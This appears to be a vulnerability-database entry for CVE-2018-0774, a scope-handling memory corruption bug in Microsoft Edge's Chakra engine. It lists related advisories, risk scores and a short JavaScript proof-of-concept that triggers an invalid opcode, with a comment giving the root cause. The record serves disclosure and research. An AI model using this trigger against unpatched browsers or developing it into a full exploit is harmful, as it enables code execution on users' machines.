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Microsoft Edge Chakra - Incorrect Scope Handling Exploit
| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
 | The vulnerability of the JavaScript script handler ChakraCore in the Microsoft Edge browser allows a hacker to execute arbitrary code. | 21 Feb 201800:00 | – | bdu_fstec |
 | CVE-2018-0774 | 17 Jan 201800:00 | – | circl |
 | Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2018-00510) | 5 Jan 201800:00 | – | cnvd |
 | Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0774) | 4 Jan 201800:00 | – | checkpoint_advisories |
 | CVE-2018-0774 | 4 Jan 201814:00 | – | cve |
 | CVE-2018-0774 | 4 Jan 201814:00 | – | cvelist |
 | January 3, 2018—KB4056892 (OS Build 16299.192) | 9 Jan 201808:00 | – | mskb |
 | KLA11166 Multiple vunlerabilities in Microsoft Browsers | 3 Jan 201800:00 | – | kaspersky |
 | Scripting Engine Memory Corruption Vulnerability | 3 Jan 201808:00 | – | mscve |
 | CVE-2018-0774 | 4 Jan 201814:29 | – | nvd |
10
// PoC:
(function func(arg = function () {
print(func); // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
print(func);
function func() {
}
})();
// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
# 0day.today [2018-04-09] #Data
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18 Jan 2018 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.73993